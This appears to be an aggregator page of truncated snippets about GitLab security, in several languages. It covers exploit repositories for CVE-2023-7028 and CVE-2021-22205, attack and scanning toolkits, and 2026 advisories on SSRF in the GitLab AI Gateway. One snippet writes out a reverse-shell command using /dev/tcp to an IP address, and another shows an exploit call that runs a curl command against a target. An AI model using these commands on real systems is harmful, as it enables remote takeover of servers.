CVE-2023-7028

CVE-2023-7028lab Implementazione e sfruttamento della vulnerabilità di account takeover CVE-2023-7028 relativa agli articoli settimanali GO-TO CVE dell'undicesima settimana. Questo repository contiene un setup Docker e uno script Python per testare la vulnerabilità CVE-2023-7028 in GitLab. Lo...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Versione di test Costruzione del comando per generare lo sfruttamento root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Utilizzo di djvumake per generare l'immagine di sfruttamento...

SCMKit

SCMKit Descrizione S ource C ode M anagement Attack Toolkit - SCMKit è un toolkit che può essere utilizzato per attaccare sistemi SCM. SCMKit permette all'utente di specificare il sistema SCM e il modulo di attacco da utilizzare, insieme alla specifica di credenziali valide username/password o...

CVE-2023-7028

CVE-2023-7028 Exploit - Vulnerabilità di Poisoning del Reset della Password in GitLab Panoramica Questo repository contiene un exploit per CVE-2023-7028 , una vulnerabilità critica in GitLab che consente a un attaccante di abusare della funzionalità di reset della password e di assumere il...

GitLab-CVE-2021-22205-

Impatto della vulnerabilità È stato scoperto un problema in GitLab CE/EE che interessa tutte le versioni a partire dalla 11.9. GitLab non convalidava correttamente i file immagine passati a un parser di file, il che ha portato all'esecuzione remota di comandi. Versioni interessate Gitlab CE/EE...

skiptracer

Account spostato su: https://gitlab.com/illwill Non più supportato al momento. Migrazione a Python 3 in corso, per favore non segnalare ancora problemi, poiché il codice e le fonti necessitano di molti aggiornamenti. Progetto spostato su https://gitlab.com/illwill/skiptracer...

CVE-2021-22205

CVE-2021-22205 Versioni interessate: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Utilizzo root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Ottieni token csrf: Ottieni il token csrf tramite /users/signin, poi usa il precedente PoC di CVE-2021-22205 per creare...

Golang-CVE-2021-22205-POC

Golang-CVE-2021-22205-POC Un POC essenziale per CVE-2021-22205 Gitlab RCE scritto in Golang che colpisce Gitlab CE/EE /tmp/pizza.txt" Dove il flag t specifica l'istanza Gitlab di destinazione e il flag c è il comando che vuoi eseguire. Lo script è configurato per usare http://localhost:9090 come...

EUVD-2026-67167

GitLab has remediated an issue in GitLab EE affecting all versions from 18.3 before 19.1.7, 19.2 before 19.2.5, and 19.3 before 19.3.1 that, under certain conditions, an authenticated user could have assigned compliance frameworks from namespaces they were not authorized to access to their own...

CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE Repository originale : https://github.com/CsEnox/Gitlab-Exiftool-RCE Crediti a CsEnox. Exploit RCE per Gitlab 13.10.3 GitLab Workhorse passerà qualsiasi file a ExifTool. Il bug attuale si trova nel modulo DjVu di ExifTool. Chiunque abbia la possibilità di caricare un'immagine...

open-source-web-scanners

open-source-web-scanners Un elenco di scanner di sicurezza web open source su GitHub e GitLab, ordinati per Stelle. Non fornisce analisi approfondite - per ulteriori analisi o una gamma più ampia di strumenti, consulta i link seguenti. Nota che alcuni progetti grandi hanno più repository - in tal...

CVE-2026-75871

GitLab has remediated a vulnerability in the GitLab AI Gateway component affecting all versions of the AI Gateway from 18.10 to 19.0.12, 19.1 to 19.1.7, and 19.2 to 19.2.2 that could have allowed an authenticated user with Duo Agent Platform access to redirect outbound model requests to an...

CVE-2026-19889

GitLab has remediated a vulnerability in the GitLab AI Gateway component affecting all versions of the AI Gateway from 18.9.0 to 19.0.12, 19.1 to 19.1.7, and 19.2 to 19.2.2 that could have allowed an authenticated user with Duo Agent Platform access to redirect model requests to an...

legitify

Stärken Sie die Sicherheitslage Ihres Quellcode-Managements! Erkennen und beheben Sie Fehlkonfigurationen, Sicherheits- und Compliance-Probleme in all Ihren GitHub- und GitLab-Assets mit Leichtigkeit 🔥 von Legit Security. Sie fragen sich, was Legit Security macht?...

EUVD-2026-67088

GitLab has remediated a vulnerability in the GitLab AI Gateway component affecting all versions of the AI Gateway from 18.10 to 19.0.12, 19.1 to 19.1.7, and 19.2 to 19.2.2 that could have allowed an authenticated user with Duo Agent Platform access to redirect outbound model requests to an...

CVE-2026-75871 Server-Side Request Forgery (SSRF) in GitLab AI Gateway

GitLab has remediated a vulnerability in the GitLab AI Gateway component affecting all versions of the AI Gateway from 18.10 to 19.0.12, 19.1 to 19.1.7, and 19.2 to 19.2.2 that could have allowed an authenticated user with Duo Agent Platform access to redirect outbound model requests to an...

CVE-2026-75871

GitLab AI Gateway is affected by a Server-Side Request Forgery (SSRF) vulnerability (classified in the CVE title) across versions 18.10–19.0.12, 19.1–19.1.7, and 19.2–19.2.2 . An authenticated user with Duo Agent Platform access can craft an inline flow configuration that overrides the HTTP Host ...

CVE-2026-19889 Server-Side Request Forgery (SSRF) in GitLab AI Gateway

GitLab has remediated a vulnerability in the GitLab AI Gateway component affecting all versions of the AI Gateway from 18.9.0 to 19.0.12, 19.1 to 19.1.7, and 19.2 to 19.2.2 that could have allowed an authenticated user with Duo Agent Platform access to redirect model requests to an...

EUVD-2026-67087

GitLab has remediated a vulnerability in the GitLab AI Gateway component affecting all versions of the AI Gateway from 18.9.0 to 19.0.12, 19.1 to 19.1.7, and 19.2 to 19.2.2 that could have allowed an authenticated user with Duo Agent Platform access to redirect model requests to an...

CVE-2026-19889

CVE-2026-19889 is a Server-Side Request Forgery (SSRF) vulnerability in the GitLab AI Gateway component, affecting versions 18.9.0 through 19.0.12 , 19.1 through 19.1.7 , and 19.2 through 19.2.2 . An authenticated user with Duo Agent Platform access could redirect model requests to an externally-...